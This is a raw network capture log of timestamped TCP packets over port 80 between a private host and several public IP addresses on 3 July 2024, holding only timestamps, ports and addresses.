Jul 3, 2024 18:03:27.269701958 CEST	49166	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:27.269771099 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.269788027 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.269798040 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.269825935 CEST	49166	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:27.269856930 CEST	49166	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:27.276210070 CEST	49166	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:27.276217937 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.276268959 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.276281118 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.276285887 CEST	49166	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:27.276302099 CEST	49166	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:27.276313066 CEST	49166	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:27.361711979 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.361752987 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.361766100 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.361840963 CEST	49166	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:27.361860037 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.361903906 CEST	49166	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:27.366457939 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.366470098 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.366523027 CEST	49166	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:27.366817951 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.366831064 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.366844893 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.366866112 CEST	49166	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:27.366878033 CEST	49166	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:27.371248960 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.371267080 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.371340036 CEST	49166	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:27.371545076 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.371561050 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.371573925 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.371592045 CEST	49166	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:27.371627092 CEST	49166	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:27.376089096 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.376102924 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.376142025 CEST	49166	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:27.376235962 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.376281023 CEST	49166	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:27.376353025 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.376400948 CEST	49166	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:27.380856037 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.380870104 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.380927086 CEST	49166	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:27.381186008 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.381197929 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.381206989 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.381232023 CEST	49166	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:27.381272078 CEST	49166	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:27.385699034 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.385713100 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.385772943 CEST	49166	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:27.454265118 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.454289913 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.454297066 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.454339027 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.454363108 CEST	49166	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:27.454401016 CEST	49166	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:27.458940983 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.458954096 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.459014893 CEST	49166	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:27.459160089 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.459172964 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.459203959 CEST	49166	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:27.459214926 CEST	49166	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:27.463671923 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.463685989 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.463737965 CEST	49166	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:27.464030981 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.464051962 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.464062929 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.464085102 CEST	49166	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:27.464097023 CEST	49166	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:27.468534946 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.468549013 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.468601942 CEST	49166	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:27.468748093 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.468759060 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.468795061 CEST	49166	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:27.473267078 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.473283052 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.473330021 CEST	49166	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:27.473623037 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.473634958 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.473670006 CEST	49166	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:27.478148937 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.478167057 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.478177071 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.478228092 CEST	49166	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:27.478281021 CEST	49166	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:27.478475094 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.478487015 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.478533030 CEST	49166	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:27.482955933 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.482969046 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.482985020 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.482995987 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.483006001 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.483014107 CEST	49166	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:27.483017921 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.483023882 CEST	49166	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:27.483028889 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.483042002 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.483042955 CEST	49166	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:27.483052969 CEST	49166	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:27.483071089 CEST	49166	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:27.483078957 CEST	49166	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:27.660904884 CEST	49166	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:27.660949945 CEST	49166	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:27.894342899 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.894439936 CEST	49166	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:27.910646915 CEST	49167	80	192.168.2.22	192.185.89.92
Jul 3, 2024 18:03:27.915724993 CEST	80	49167	192.185.89.92	192.168.2.22
Jul 3, 2024 18:03:27.915807962 CEST	49167	80	192.168.2.22	192.185.89.92
Jul 3, 2024 18:03:27.916109085 CEST	49167	80	192.168.2.22	192.185.89.92
Jul 3, 2024 18:03:27.921144009 CEST	80	49167	192.185.89.92	192.168.2.22
Jul 3, 2024 18:03:28.485985994 CEST	80	49167	192.185.89.92	192.168.2.22
Jul 3, 2024 18:03:28.486042976 CEST	49167	80	192.168.2.22	192.185.89.92
Jul 3, 2024 18:03:28.508555889 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:28.516813040 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:28.516880989 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:28.517102957 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:28.522826910 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.002759933 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.002778053 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.002787113 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.002794027 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.002799034 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.002809048 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.002931118 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:29.002962112 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.002973080 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.002984047 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.002995968 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.002999067 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:29.003019094 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:29.003037930 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:29.007767916 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.007807970 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.007817984 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.007823944 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:29.007853031 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:29.007875919 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:29.008158922 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.008197069 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:29.010581017 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:29.089554071 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.089589119 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.089600086 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.089624882 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:29.089669943 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:29.089734077 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.089767933 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:29.089776993 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.089787006 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.089813948 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:29.089829922 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:29.090687990 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.090698957 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.090709925 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.090720892 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.090737104 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:29.090749979 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:29.090943098 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.090954065 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.090987921 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:29.091278076 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.091289043 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.091312885 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:29.091326952 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:29.091458082 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.091469049 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.091480017 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.091530085 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:29.092252016 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.092262983 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.092273951 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.092294931 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:29.092312098 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:29.092394114 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.092403889 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.092425108 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:29.092439890 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:29.093170881 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.093246937 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:29.093295097 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.093324900 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:29.094398975 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.094444036 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:29.176326990 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.176347971 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.176359892 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.176424026 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.176434994 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.176440954 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:29.176446915 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.176480055 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:29.176480055 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:29.176662922 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.176673889 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.176685095 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.176696062 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.176697016 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:29.176709890 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:29.176726103 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:29.176820993 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.176852942 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:29.176903009 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.176913977 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.176934004 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:29.176945925 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:29.177061081 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.177073002 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.177103043 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:29.177258015 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.177268982 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.177279949 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.177290916 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.177295923 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:29.177300930 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.177310944 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:29.177328110 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:29.177666903 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.177679062 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.177695036 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.177711964 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:29.177725077 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:29.177761078 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.177795887 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:29.177851915 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.177861929 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.177891016 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:29.177967072 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.177978039 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.177989006 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.177999020 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.178011894 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:29.178025007 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:29.178251028 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.178293943 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:29.178340912 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.178352118 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.178361893 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.178373098 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.178378105 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:29.178384066 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.178390026 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:29.178395033 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.178405046 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:29.178409100 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.178420067 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:29.178436995 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:29.178981066 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.178993940 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.179004908 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.179020882 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:29.179033995 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:29.179116011 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.179126978 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.179136992 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.179147959 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.179148912 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:29.179162979 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:29.179177046 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:29.179428101 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.179440975 CEST	80	49168	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:29.179467916 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:30.807286024 CEST	49168	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:30.807365894 CEST	49167	80	192.168.2.22	192.185.89.92
Jul 3, 2024 18:03:31.747714996 CEST	80	49165	192.185.89.92	192.168.2.22
Jul 3, 2024 18:03:31.748234987 CEST	49165	80	192.168.2.22	192.185.89.92
Jul 3, 2024 18:03:35.344374895 CEST	49169	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:35.350212097 CEST	80	49169	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:35.350279093 CEST	49169	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:35.350399971 CEST	49169	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:35.356754065 CEST	80	49169	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:35.841720104 CEST	80	49169	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:35.841739893 CEST	80	49169	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:35.841749907 CEST	80	49169	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:35.841761112 CEST	80	49169	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:35.841831923 CEST	49169	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:35.842516899 CEST	49169	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:39.113735914 CEST	49170	80	192.168.2.22	94.156.65.247
Jul 3, 2024 18:03:39.118707895 CEST	80	49170	94.156.65.247	192.168.2.22
Jul 3, 2024 18:03:39.118787050 CEST	49170	80	192.168.2.22	94.156.65.247
Jul 3, 2024 18:03:39.119570971 CEST	49170	80	192.168.2.22	94.156.65.247
Jul 3, 2024 18:03:39.124324083 CEST	80	49170	94.156.65.247	192.168.2.22
Jul 3, 2024 18:03:39.758742094 CEST	80	49170	94.156.65.247	192.168.2.22
Jul 3, 2024 18:03:39.758760929 CEST	80	49170	94.156.65.247	192.168.2.22
Jul 3, 2024 18:03:39.758939981 CEST	49170	80	192.168.2.22	94.156.65.247
Jul 3, 2024 18:03:40.906754971 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:40.911729097 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:40.911787033 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:40.912023067 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:40.916804075 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.532833099 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.532856941 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.532869101 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.532892942 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:41.532928944 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.532941103 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.532968044 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:41.612917900 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.612955093 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.612967014 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.613054037 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.613109112 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:41.613110065 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:41.613152981 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.613209963 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:41.613274097 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.613380909 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.613430977 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:41.622756958 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.622785091 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.622797012 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.622826099 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:41.692051888 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.692086935 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.692099094 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.692126989 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:41.692168951 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:41.692204952 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.692218065 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.692261934 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:41.692384958 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.692562103 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.692608118 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:41.701375008 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.701386929 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.701399088 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.701426029 CEST	49171	80	192.168.2.22	91.92.254.194
